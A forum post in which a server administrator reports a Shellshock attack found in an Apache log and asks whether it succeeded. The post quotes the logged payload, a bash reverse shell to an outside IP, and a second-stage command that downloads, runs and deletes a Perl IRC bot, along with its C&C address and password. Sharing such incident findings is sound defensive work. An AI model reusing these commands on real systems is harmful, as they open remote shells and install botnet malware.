I grepped my Apache's access.log today for the now infamous () {
string, and besides a bunch of what seemed like pings to check how many servers are vulnerable, I found this attempt, which looked like a genuine attack:
94.23.193.131 - - [26/Sep/2014:05:48:53 +0200] "GET / HTTP/1.0" 200 29271 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
What I did next was to see what that TCP connection did; I cat-ed the result of it:
user@localhost:~# cat < /dev/tcp/195.225.34.101/3333
cat < /dev/tcp/195.225.34.101/3333
wget -O /tmp/.lCE-unix http://202.137.176.146/icons/xt.dat;perl /tmp/.lCE-unix 81.18.135.38 443;rm -rf /tmp/.lCE-unix;uptime
If I'm reading it right, it wgets a Perl script hosted at http://202.137.176.146/icons/xt.dat
(Copy of the script on Pastebin), outputs it to /tmp/.lCE-unix, executes it, then removes itself again.
Looking at the script itself, what I think I'm seeing is that it attempts to connect to an IRC server at IP 81.18.135.38, port 443, using a connection password 45QOhktzhwR4Ai, user 'opus', then tries to join channel '##n3' (if I'm right).
I'll admit I just wanted to share this somewhere. Actual questions though:
- The attack was handled by Apache, which probably forwarded the request to Wordpress hosted at /, a 3.x version. I don't think it was ever executed by Bash, but can anyone confirm this?
- How can I check whether the attack was successful? I've run commands like netstat and lsof but couldn't find any out of the ordinary connections besides my own SSH session, the webserver, etc. No connections to any of the given IP addresses, no Perl processes running.
- Is this a known exploit? I couldn't find much in a search, although there's a thread on the Redhat mailing list from 2005 that seems to reference to the file.
- Should I report some of those IP addresses to the authorities? And if so, which? I can imagine the FBI and who not would like to take down the C&C server being referred to.